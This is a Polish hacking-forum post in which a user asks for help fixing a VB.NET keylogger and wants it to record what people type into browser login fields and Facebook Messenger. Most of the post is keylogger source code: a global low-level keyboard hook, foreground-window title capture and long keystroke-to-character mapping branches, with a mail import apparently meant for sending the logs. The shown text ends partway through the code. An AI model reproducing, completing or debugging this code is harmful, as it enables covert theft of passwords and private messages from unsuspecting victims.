HAKER - Forum Komputerowe

Witam. Odnosząc się do kodu barukoru ( tak przepraszam ,że piszę tutaj lecz na gadu gadu nie mogłem się z tobą skontaktować. Może osoby trzecie mi pomogą)
To tak jak wspominałem, odnosząc się do tego kodu i skomplikowania go następuje problem.
Keylloger przechwytuje okna które otworzymy lecz np nie zapisuje sekwencji klawiszy jakie naciskamy...
Np przejdzmy do tego ,że otwieram applikacje messenger fb, program to zapisuje lecz dalej nie zapisuje naszych działalnosći co piszemy.
ss.png

Proszę o pomoc dlaczego nie chce przechwytywać.

Druga prośba tzn taki help jest, ,że chodzi mi o to jak otwieramy przeglądarke to nam pisze Google Chrome itp.
Lecz klikniemy na
Kod:
<input type="text" value="" id="name" name="username" maxlength="30">
to aby to napisało wtedy w programie i pod tym teksem pisze aktualny wpisywany tekst

Z góry dziękuje za pomoc.
Kod:
''bk'

Imports System.Web

Imports System.IO

Imports System.Net.Mail

Imports System.Text

Public Class Form1



    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load

        Timer3.Start()

    End Sub





    Public Class KeyboardHook

        Private Const HC_ACTION As Integer = 0

        Private Const WH_KEYBOARD_LL As Integer = 13

        Private Const WM_KEYDOWN = &H100

        Private Const WM_KEYUP = &H101

        Private Const WM_SYSKEYDOWN = &H104

        Private Const WM_SYSKEYUP = &H105



        Private Structure KBDLLHOOKSTRUCT

            Public vkCode As Integer

            Public scancode As Integer

            Public flags As Integer

            Public time As Integer

            Public dwExtraInfo As Integer

        End Structure



        Private Declare Function SetWindowsHookEx Lib "user32" _

        Alias "SetWindowsHookExA" _

        (ByVal idHook As Integer, _

        ByVal lpfn As KeyboardProcDelegate, _

        ByVal hmod As Integer, _

        ByVal dwThreadId As Integer) As Integer



        Private Declare Function CallNextHookEx Lib "user32" _

        (ByVal hHook As Integer, _

        ByVal nCode As Integer, _

        ByVal wParam As Integer, _

        ByVal lParam As KBDLLHOOKSTRUCT) As Integer



        Private Declare Function UnhookWindowsHookEx Lib "user32" _

        (ByVal hHook As Integer) As Integer





        Private Delegate Function KeyboardProcDelegate _

        (ByVal nCode As Integer, _

        ByVal wParam As Integer, _

        ByRef lParam As KBDLLHOOKSTRUCT) As Integer





        Public Shared Event KeyDown(ByVal Key As Keys)

        Public Shared Event KeyUp(ByVal Key As Keys)



        Private Shared KeyHook As Integer



        Private Shared KeyHookDelegate As KeyboardProcDelegate



        Public Sub New()



            KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)

            KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)

        End Sub



        Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer



            If (nCode = HC_ACTION) Then

                Select Case wParam



                    Case WM_KEYDOWN, WM_SYSKEYDOWN



                        RaiseEvent KeyDown(CType(lParam.vkCode, Keys))

                    Case WM_KEYUP, WM_SYSKEYUP



                        RaiseEvent KeyUp(CType(lParam.vkCode, Keys))

                End Select

            End If



            Return CallNextHookEx(KeyHook, nCode, wParam, lParam)

        End Function

        Protected Overrides Sub Finalize()



            UnhookWindowsHookEx(KeyHook)

            MyBase.Finalize()

        End Sub

    End Class

    Private WithEvents kbHook As New KeyboardHook

    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32

    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32

    Dim strin As String = Nothing

    Private Function GetActiveWindowTitle() As String

        Dim MyStr As String

        MyStr = New String(Chr(0), 100)

        GetWindowText(GetForegroundWindow, MyStr, 100)

        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)

        Return MyStr

    End Function



    Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown

        If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then

            If Key = Keys.A Then

                RichTextBox1.Text = RichTextBox1.Text & "a"

            ElseIf Key = Keys.B Then

                RichTextBox1.Text = RichTextBox1.Text & "b"

            ElseIf Key = Keys.C Then

                RichTextBox1.Text = RichTextBox1.Text & "c"

            ElseIf Key = Keys.D Then

                RichTextBox1.Text = RichTextBox1.Text & "d"

            ElseIf Key = Keys.E Then

                RichTextBox1.Text = RichTextBox1.Text & "e"

            ElseIf Key = Keys.F Then

                RichTextBox1.Text = RichTextBox1.Text & "f"

            ElseIf Key = Keys.G Then

                RichTextBox1.Text = RichTextBox1.Text & "g"

            ElseIf Key = Keys.H Then

                RichTextBox1.Text = RichTextBox1.Text & "h"

            ElseIf Key = Keys.I Then

                RichTextBox1.Text = RichTextBox1.Text & "i"

            ElseIf Key = Keys.J Then

                RichTextBox1.Text = RichTextBox1.Text & "j"

            ElseIf Key = Keys.K Then

                RichTextBox1.Text = RichTextBox1.Text & "k"

            ElseIf Key = Keys.L Then

                RichTextBox1.Text = RichTextBox1.Text & "l"

            ElseIf Key = Keys.M Then

                RichTextBox1.Text = RichTextBox1.Text & "m"

            ElseIf Key = Keys.N Then

                RichTextBox1.Text = RichTextBox1.Text & "n"

            ElseIf Key = Keys.O Then

                RichTextBox1.Text = RichTextBox1.Text & "o"

            ElseIf Key = Keys.P Then

                RichTextBox1.Text = RichTextBox1.Text & "p"

            ElseIf Key = Keys.Q Then

                RichTextBox1.Text = RichTextBox1.Text & "q"

            ElseIf Key = Keys.R Then

                RichTextBox1.Text = RichTextBox1.Text & "r"

            ElseIf Key = Keys.S Then

                RichTextBox1.Text = RichTextBox1.Text & "s"

            ElseIf Key = Keys.T Then

                RichTextBox1.Text = RichTextBox1.Text & "t"

            ElseIf Key = Keys.U Then

                RichTextBox1.Text = RichTextBox1.Text & "u"

            ElseIf Key = Keys.V Then

                RichTextBox1.Text = RichTextBox1.Text & "v"

            ElseIf Key = Keys.W Then

                RichTextBox1.Text = RichTextBox1.Text & "w"

            ElseIf Key = Keys.X Then

                RichTextBox1.Text = RichTextBox1.Text & "x"

            ElseIf Key = Keys.Y Then

                RichTextBox1.Text = RichTextBox1.Text & "y"

            ElseIf Key = Keys.Z Then

                RichTextBox1.Text = RichTextBox1.Text & "z"

            ElseIf Key = Keys.D0 Then

                RichTextBox1.Text = RichTextBox1.Text & "0"

            ElseIf Key = Keys.D1 Then

                RichTextBox1.Text = RichTextBox1.Text & "1"

            ElseIf Key = Keys.D2 Then

                RichTextBox1.Text = RichTextBox1.Text & "2"

            ElseIf Key = Keys.D3 Then

                RichTextBox1.Text = RichTextBox1.Text & "3"

            ElseIf Key = Keys.D4 Then

                RichTextBox1.Text = RichTextBox1.Text & "4"

            ElseIf Key = Keys.D5 Then

                RichTextBox1.Text = RichTextBox1.Text & "5"

            ElseIf Key = Keys.D6 Then

                RichTextBox1.Text = RichTextBox1.Text & "6"

            ElseIf Key = Keys.D7 Then

                RichTextBox1.Text = RichTextBox1.Text & "7"

            ElseIf Key = Keys.D8 Then

                RichTextBox1.Text = RichTextBox1.Text & "8"

            ElseIf Key = Keys.D9 Then

                RichTextBox1.Text = RichTextBox1.Text & "9"

            ElseIf Key = Keys.NumPad0 Then

                RichTextBox1.Text = RichTextBox1.Text & "0"

            ElseIf Key = Keys.NumPad1 Then

                RichTextBox1.Text = RichTextBox1.Text & "1"

            ElseIf Key = Keys.NumPad2 Then

                RichTextBox1.Text = RichTextBox1.Text & "2"

            ElseIf Key = Keys.NumPad3 Then

                RichTextBox1.Text = RichTextBox1.Text & "3"

            ElseIf Key = Keys.NumPad4 Then

                RichTextBox1.Text = RichTextBox1.Text & "4"

            ElseIf Key = Keys.NumPad5 Then

                RichTextBox1.Text = RichTextBox1.Text & "5"

            ElseIf Key = Keys.NumPad6 Then

                RichTextBox1.Text = RichTextBox1.Text & "6"

            ElseIf Key = Keys.NumPad7 Then

                RichTextBox1.Text = RichTextBox1.Text & "7"

            ElseIf Key = Keys.NumPad8 Then

                RichTextBox1.Text = RichTextBox1.Text & "8"

            ElseIf Key = Keys.NumPad9 Then

                RichTextBox1.Text = RichTextBox1.Text & "9"

            ElseIf Key = Keys.Oemcomma Then

                RichTextBox1.Text = RichTextBox1.Text & ","

            ElseIf Key = Keys.OemMinus Then

                RichTextBox1.Text = RichTextBox1.Text & "-"

            ElseIf Key = Keys.OemQuotes Then

                RichTextBox1.Text = RichTextBox1.Text & "'"

            ElseIf Key = Keys.OemOpenBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "["

            ElseIf Key = Keys.OemCloseBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "]"

            ElseIf Key = Keys.OemQuestion Then

                RichTextBox1.Text = RichTextBox1.Text & "/"

            ElseIf Key = Keys.OemPipe Then

                RichTextBox1.Text = RichTextBox1.Text & "\"

            ElseIf Key = Keys.Oem1 Then

                RichTextBox1.Text = RichTextBox1.Text & ";"

            ElseIf Key = Keys.OemPeriod Then

                RichTextBox1.Text = RichTextBox1.Text & "."

            ElseIf Key = Keys.Oemtilde Then

                RichTextBox1.Text = RichTextBox1.Text & "`"

            ElseIf Key = Keys.Space Then

                RichTextBox1.Text = RichTextBox1.Text & " "

            ElseIf Key = Keys.Enter Then

                RichTextBox1.Text = RichTextBox1.Text & vbNewLine

            ElseIf Key = Keys.F1 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F1]"

            ElseIf Key = Keys.F2 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F2]"

            ElseIf Key = Keys.F3 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F3]"

            ElseIf Key = Keys.F4 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F4]"

            ElseIf Key = Keys.F5 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F5]"

            ElseIf Key = Keys.F6 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F6]"

            ElseIf Key = Keys.F7 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F7]"

            ElseIf Key = Keys.F8 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F8]"

            ElseIf Key = Keys.F9 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F9]"

            ElseIf Key = Keys.F10 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F10]"

            ElseIf Key = Keys.F11 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F11]"

            ElseIf Key = Keys.F12 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F12]"

            ElseIf Key = Keys.Delete Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Back Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Down Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Up Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Left Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Right Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Tab Then

                RichTextBox1.Text = RichTextBox1.Text & "[TAB]"

            ElseIf Key = Keys.End Then

                RichTextBox1.Text = RichTextBox1.Text & "[END]"

            ElseIf Key = Keys.Escape Then

                RichTextBox1.Text = RichTextBox1.Text & "[ESC]"

            ElseIf Key = Keys.Divide Then

                RichTextBox1.Text = RichTextBox1.Text & "/"

            ElseIf Key = Keys.Decimal Then

                RichTextBox1.Text = RichTextBox1.Text & "."

            ElseIf Key = Keys.Subtract Then

                RichTextBox1.Text = RichTextBox1.Text & "-"

            ElseIf Key = Keys.Add Then

                RichTextBox1.Text = RichTextBox1.Text & "+"

            ElseIf Key = Keys.Multiply Then

                RichTextBox1.Text = RichTextBox1.Text & "*"

            End If

        ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then

            If Key = Keys.A Then

                RichTextBox1.Text = RichTextBox1.Text & "A"

            ElseIf Key = Keys.B Then

                RichTextBox1.Text = RichTextBox1.Text & "B"

            ElseIf Key = Keys.C Then

                RichTextBox1.Text = RichTextBox1.Text & "C"

            ElseIf Key = Keys.D Then

                RichTextBox1.Text = RichTextBox1.Text & "D"

            ElseIf Key = Keys.E Then

                RichTextBox1.Text = RichTextBox1.Text & "E"

            ElseIf Key = Keys.F Then

                RichTextBox1.Text = RichTextBox1.Text & "F"

            ElseIf Key = Keys.G Then

                RichTextBox1.Text = RichTextBox1.Text & "G"

            ElseIf Key = Keys.H Then

                RichTextBox1.Text = RichTextBox1.Text & "H"

            ElseIf Key = Keys.I Then

                RichTextBox1.Text = RichTextBox1.Text & "I"

            ElseIf Key = Keys.J Then

                RichTextBox1.Text = RichTextBox1.Text & "J"

            ElseIf Key = Keys.K Then

                RichTextBox1.Text = RichTextBox1.Text & "K"

            ElseIf Key = Keys.L Then

                RichTextBox1.Text = RichTextBox1.Text & "L"

            ElseIf Key = Keys.M Then

                RichTextBox1.Text = RichTextBox1.Text & "M"

            ElseIf Key = Keys.N Then

                RichTextBox1.Text = RichTextBox1.Text & "N"

            ElseIf Key = Keys.O Then

                RichTextBox1.Text = RichTextBox1.Text & "O"

            ElseIf Key = Keys.P Then

                RichTextBox1.Text = RichTextBox1.Text & "P"

            ElseIf Key = Keys.Q Then

                RichTextBox1.Text = RichTextBox1.Text & "Q"

            ElseIf Key = Keys.R Then

                RichTextBox1.Text = RichTextBox1.Text & "R"

            ElseIf Key = Keys.S Then

                RichTextBox1.Text = RichTextBox1.Text & "S"

            ElseIf Key = Keys.T Then

                RichTextBox1.Text = RichTextBox1.Text & "T"

            ElseIf Key = Keys.U Then

                RichTextBox1.Text = RichTextBox1.Text & "U"

            ElseIf Key = Keys.V Then

                RichTextBox1.Text = RichTextBox1.Text & "V"

            ElseIf Key = Keys.W Then

                RichTextBox1.Text = RichTextBox1.Text & "W"

            ElseIf Key = Keys.X Then

                RichTextBox1.Text = RichTextBox1.Text & "X"

            ElseIf Key = Keys.Y Then

                RichTextBox1.Text = RichTextBox1.Text & "Y"

            ElseIf Key = Keys.Z Then

                RichTextBox1.Text = RichTextBox1.Text & "Z"

            ElseIf Key = Keys.D0 Then

                RichTextBox1.Text = RichTextBox1.Text & "0"

            ElseIf Key = Keys.D1 Then

                RichTextBox1.Text = RichTextBox1.Text & "1"

            ElseIf Key = Keys.D2 Then

                RichTextBox1.Text = RichTextBox1.Text & "2"

            ElseIf Key = Keys.D3 Then

                RichTextBox1.Text = RichTextBox1.Text & "3"

            ElseIf Key = Keys.D4 Then

                RichTextBox1.Text = RichTextBox1.Text & "4"

            ElseIf Key = Keys.D5 Then

                RichTextBox1.Text = RichTextBox1.Text & "5"

            ElseIf Key = Keys.D6 Then

                RichTextBox1.Text = RichTextBox1.Text & "6"

            ElseIf Key = Keys.D7 Then

                RichTextBox1.Text = RichTextBox1.Text & "7"

            ElseIf Key = Keys.D8 Then

                RichTextBox1.Text = RichTextBox1.Text & "8"

            ElseIf Key = Keys.D9 Then

                RichTextBox1.Text = RichTextBox1.Text & "9"

            ElseIf Key = Keys.NumPad0 Then

                RichTextBox1.Text = RichTextBox1.Text & "0"

            ElseIf Key = Keys.NumPad1 Then

                RichTextBox1.Text = RichTextBox1.Text & "1"

            ElseIf Key = Keys.NumPad2 Then

                RichTextBox1.Text = RichTextBox1.Text & "2"

            ElseIf Key = Keys.NumPad3 Then

                RichTextBox1.Text = RichTextBox1.Text & "3"

            ElseIf Key = Keys.NumPad4 Then

                RichTextBox1.Text = RichTextBox1.Text & "4"

            ElseIf Key = Keys.NumPad5 Then

                RichTextBox1.Text = RichTextBox1.Text & "5"

            ElseIf Key = Keys.NumPad6 Then

                RichTextBox1.Text = RichTextBox1.Text & "6"

            ElseIf Key = Keys.NumPad7 Then

                RichTextBox1.Text = RichTextBox1.Text & "7"

            ElseIf Key = Keys.NumPad8 Then

                RichTextBox1.Text = RichTextBox1.Text & "8"

            ElseIf Key = Keys.NumPad9 Then

                RichTextBox1.Text = RichTextBox1.Text & "9"

            ElseIf Key = Keys.Oemcomma Then

                RichTextBox1.Text = RichTextBox1.Text & ","

            ElseIf Key = Keys.OemMinus Then

                RichTextBox1.Text = RichTextBox1.Text & "-"

            ElseIf Key = Keys.OemQuotes Then

                RichTextBox1.Text = RichTextBox1.Text & "'"

            ElseIf Key = Keys.OemOpenBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "["

            ElseIf Key = Keys.OemCloseBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "]"

            ElseIf Key = Keys.OemQuestion Then

                RichTextBox1.Text = RichTextBox1.Text & "/"

            ElseIf Key = Keys.OemPipe Then

                RichTextBox1.Text = RichTextBox1.Text & "\"

            ElseIf Key = Keys.Oem1 Then

                RichTextBox1.Text = RichTextBox1.Text & ";"

            ElseIf Key = Keys.OemPeriod Then

                RichTextBox1.Text = RichTextBox1.Text & "."

            ElseIf Key = Keys.Oemtilde Then

                RichTextBox1.Text = RichTextBox1.Text & "`"

            ElseIf Key = Keys.Space Then

                RichTextBox1.Text = RichTextBox1.Text & " "

            ElseIf Key = Keys.Enter Then

                RichTextBox1.Text = RichTextBox1.Text & vbNewLine

            ElseIf Key = Keys.F1 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F1]"

            ElseIf Key = Keys.F2 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F2]"

            ElseIf Key = Keys.F3 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F3]"

            ElseIf Key = Keys.F4 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F4]"

            ElseIf Key = Keys.F5 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F5]"

            ElseIf Key = Keys.F6 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F6]"

            ElseIf Key = Keys.F7 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F7]"

            ElseIf Key = Keys.F8 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F8]"

            ElseIf Key = Keys.F9 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F9]"

            ElseIf Key = Keys.F10 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F10]"

            ElseIf Key = Keys.F11 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F11]"

            ElseIf Key = Keys.F12 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F12]"

            ElseIf Key = Keys.Delete Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Back Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Down Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Up Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Left Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Right Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Tab Then

                RichTextBox1.Text = RichTextBox1.Text & "[TAB]"

            ElseIf Key = Keys.End Then

                RichTextBox1.Text = RichTextBox1.Text & "[END]"

            ElseIf Key = Keys.Escape Then

                RichTextBox1.Text = RichTextBox1.Text & "[ESC]"

            ElseIf Key = Keys.Divide Then

                RichTextBox1.Text = RichTextBox1.Text & "/"

            ElseIf Key = Keys.Decimal Then

                RichTextBox1.Text = RichTextBox1.Text & "."

            ElseIf Key = Keys.Subtract Then

                RichTextBox1.Text = RichTextBox1.Text & "-"

            ElseIf Key = Keys.Add Then

                RichTextBox1.Text = RichTextBox1.Text & "+"

            ElseIf Key = Keys.Multiply Then

                RichTextBox1.Text = RichTextBox1.Text & "*"

            End If

        ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then

            If Key = Keys.D1 Then

                RichTextBox1.Text = RichTextBox1.Text + "!"

            ElseIf Key = Keys.D2 Then

                RichTextBox1.Text = RichTextBox1.Text + "@"

            ElseIf Key = Keys.D3 Then

                RichTextBox1.Text = RichTextBox1.Text + "#"

            ElseIf Key = Keys.D4 Then

                RichTextBox1.Text = RichTextBox1.Text + "$"

            ElseIf Key = Keys.D5 Then

                RichTextBox1.Text = RichTextBox1.Text + "%"

            ElseIf Key = Keys.D6 Then

                RichTextBox1.Text = RichTextBox1.Text + "^"

            ElseIf Key = Keys.D7 Then

                RichTextBox1.Text = RichTextBox1.Text + "&"

            ElseIf Key = Keys.D8 Then

                RichTextBox1.Text = RichTextBox1.Text + "*"

            ElseIf Key = Keys.D9 Then

                RichTextBox1.Text = RichTextBox1.Text + "("

            ElseIf Key = Keys.D0 Then

                RichTextBox1.Text = RichTextBox1.Text + ")"

            ElseIf Key = Keys.A Then

                RichTextBox1.Text = RichTextBox1.Text & "A"

            ElseIf Key = Keys.B Then

                RichTextBox1.Text = RichTextBox1.Text & "B"

            ElseIf Key = Keys.C Then

                RichTextBox1.Text = RichTextBox1.Text & "C"

            ElseIf Key = Keys.D Then

                RichTextBox1.Text = RichTextBox1.Text & "D"

            ElseIf Key = Keys.E Then

                RichTextBox1.Text = RichTextBox1.Text & "E"

            ElseIf Key = Keys.F Then

                RichTextBox1.Text = RichTextBox1.Text & "F"

            ElseIf Key = Keys.G Then

                RichTextBox1.Text = RichTextBox1.Text & "G"

            ElseIf Key = Keys.H Then

                RichTextBox1.Text = RichTextBox1.Text & "H"

            ElseIf Key = Keys.I Then

                RichTextBox1.Text = RichTextBox1.Text & "I"

            ElseIf Key = Keys.J Then

                RichTextBox1.Text = RichTextBox1.Text & "J"

            ElseIf Key = Keys.K Then

                RichTextBox1.Text = RichTextBox1.Text & "K"

            ElseIf Key = Keys.L Then

                RichTextBox1.Text = RichTextBox1.Text & "L"

            ElseIf Key = Keys.M Then

                RichTextBox1.Text = RichTextBox1.Text & "M"

            ElseIf Key = Keys.N Then

                RichTextBox1.Text = RichTextBox1.Text & "N"

            ElseIf Key = Keys.O Then

                RichTextBox1.Text = RichTextBox1.Text & "O"

            ElseIf Key = Keys.P Then

                RichTextBox1.Text = RichTextBox1.Text & "P"

            ElseIf Key = Keys.Q Then

                RichTextBox1.Text = RichTextBox1.Text & "Q"

            ElseIf Key = Keys.R Then

                RichTextBox1.Text = RichTextBox1.Text & "R"

            ElseIf Key = Keys.S Then

                RichTextBox1.Text = RichTextBox1.Text & "S"

            ElseIf Key = Keys.T Then

                RichTextBox1.Text = RichTextBox1.Text & "T"

            ElseIf Key = Keys.U Then

                RichTextBox1.Text = RichTextBox1.Text & "U"

            ElseIf Key = Keys.V Then

                RichTextBox1.Text = RichTextBox1.Text & "V"

            ElseIf Key = Keys.W Then

                RichTextBox1.Text = RichTextBox1.Text & "W"

            ElseIf Key = Keys.X Then

                RichTextBox1.Text = RichTextBox1.Text & "X"

            ElseIf Key = Keys.Y Then

                RichTextBox1.Text = RichTextBox1.Text & "Y"

            ElseIf Key = Keys.Z Then

                RichTextBox1.Text = RichTextBox1.Text & "Z"

            ElseIf Key = Keys.Oemcomma Then

                RichTextBox1.Text = RichTextBox1.Text & "<"

            ElseIf Key = Keys.OemMinus Then

                RichTextBox1.Text = RichTextBox1.Text & "_"

            ElseIf Key = Keys.OemOpenBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "{"

            ElseIf Key = Keys.OemCloseBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "}"

            ElseIf Key = Keys.OemQuestion Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.OemPipe Then

                RichTextBox1.Text = RichTextBox1.Text & "|"

            ElseIf Key = Keys.Oem1 Then

                RichTextBox1.Text = RichTextBox1.Text & ":"

            ElseIf Key = Keys.OemPeriod Then

                RichTextBox1.Text = RichTextBox1.Text & ">"

            ElseIf Key = Keys.Oemtilde Then

                RichTextBox1.Text = RichTextBox1.Text & "~"

            ElseIf Key = Keys.OemQuotes Then

                RichTextBox1.Text = RichTextBox1.Text & "'"

            ElseIf Key = Keys.Space Then

                RichTextBox1.Text = RichTextBox1.Text & " "

            ElseIf Key = Keys.Enter Then

                RichTextBox1.Text = RichTextBox1.Text & vbNewLine

            ElseIf Key = Keys.F1 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F1]"

            ElseIf Key = Keys.F2 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F2]"

            ElseIf Key = Keys.F3 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F3]"

            ElseIf Key = Keys.F4 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F4]"

            ElseIf Key = Keys.F5 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F5]"

            ElseIf Key = Keys.F6 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F6]"

            ElseIf Key = Keys.F7 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F7]"

            ElseIf Key = Keys.F8 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F8]"

            ElseIf Key = Keys.F9 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F9]"

            ElseIf Key = Keys.F10 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F10]"

            ElseIf Key = Keys.F11 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F11]"

            ElseIf Key = Keys.F12 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F12]"

            ElseIf Key = Keys.Delete Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Back Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Down Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Up Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Left Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Right Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Tab Then

                RichTextBox1.Text = RichTextBox1.Text & "[TAB]"

            ElseIf Key = Keys.End Then

                RichTextBox1.Text = RichTextBox1.Text & "[END]"

            ElseIf Key = Keys.Escape Then

                RichTextBox1.Text = RichTextBox1.Text & "[ESC]"

            ElseIf Key = Keys.Divide Then

                RichTextBox1.Text = RichTextBox1.Text & "/"

            ElseIf Key = Keys.Decimal Then

                RichTextBox1.Text = RichTextBox1.Text & "."

            ElseIf Key = Keys.Subtract Then

                RichTextBox1.Text = RichTextBox1.Text & "-"

            ElseIf Key = Keys.Add Then

                RichTextBox1.Text = RichTextBox1.Text & "+"

            ElseIf Key = Keys.Multiply Then

                RichTextBox1.Text = RichTextBox1.Text & "*"

            End If

        ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then

            If Key = Keys.D1 Then

                RichTextBox1.Text = RichTextBox1.Text + "1"

            ElseIf Key = Keys.D2 Then

                RichTextBox1.Text = RichTextBox1.Text + "2"

            ElseIf Key = Keys.D3 Then

                RichTextBox1.Text = RichTextBox1.Text + "3"

            ElseIf Key = Keys.D4 Then

                RichTextBox1.Text = RichTextBox1.Text + "4"

            ElseIf Key = Keys.D5 Then

                RichTextBox1.Text = RichTextBox1.Text + "5"

            ElseIf Key = Keys.D6 Then

                RichTextBox1.Text = RichTextBox1.Text + "6"

            ElseIf Key = Keys.D7 Then

                RichTextBox1.Text = RichTextBox1.Text + "7"

            ElseIf Key = Keys.D8 Then

                RichTextBox1.Text = RichTextBox1.Text + "8"

            ElseIf Key = Keys.D9 Then

                RichTextBox1.Text = RichTextBox1.Text + "9"

            ElseIf Key = Keys.D0 Then

                RichTextBox1.Text = RichTextBox1.Text + "0"

            ElseIf Key = Keys.A Then

                RichTextBox1.Text = RichTextBox1.Text & "a"

            ElseIf Key = Keys.B Then

                RichTextBox1.Text = RichTextBox1.Text & "b"

            ElseIf Key = Keys.C Then

                RichTextBox1.Text = RichTextBox1.Text & "c"

            ElseIf Key = Keys.D Then

                RichTextBox1.Text = RichTextBox1.Text & "d"

            ElseIf Key = Keys.E Then

                RichTextBox1.Text = RichTextBox1.Text & "e"

            ElseIf Key = Keys.F Then

                RichTextBox1.Text = RichTextBox1.Text & "f"

            ElseIf Key = Keys.G Then

                RichTextBox1.Text = RichTextBox1.Text & "g"

            ElseIf Key = Keys.H Then

                RichTextBox1.Text = RichTextBox1.Text & "h"

            ElseIf Key = Keys.I Then

                RichTextBox1.Text = RichTextBox1.Text & "i"

            ElseIf Key = Keys.J Then

                RichTextBox1.Text = RichTextBox1.Text & "j"

            ElseIf Key = Keys.K Then

                RichTextBox1.Text = RichTextBox1.Text & "k"

            ElseIf Key = Keys.L Then

                RichTextBox1.Text = RichTextBox1.Text & "l"

            ElseIf Key = Keys.M Then

                RichTextBox1.Text = RichTextBox1.Text & "m"

            ElseIf Key = Keys.N Then

                RichTextBox1.Text = RichTextBox1.Text & "n"

            ElseIf Key = Keys.O Then

                RichTextBox1.Text = RichTextBox1.Text & "o"

            ElseIf Key = Keys.P Then

                RichTextBox1.Text = RichTextBox1.Text & "p"

            ElseIf Key = Keys.Q Then

                RichTextBox1.Text = RichTextBox1.Text & "q"

            ElseIf Key = Keys.R Then

                RichTextBox1.Text = RichTextBox1.Text & "r"

            ElseIf Key = Keys.S Then

                RichTextBox1.Text = RichTextBox1.Text & "s"

            ElseIf Key = Keys.T Then

                RichTextBox1.Text = RichTextBox1.Text & "t"

            ElseIf Key = Keys.U Then

                RichTextBox1.Text = RichTextBox1.Text & "u"
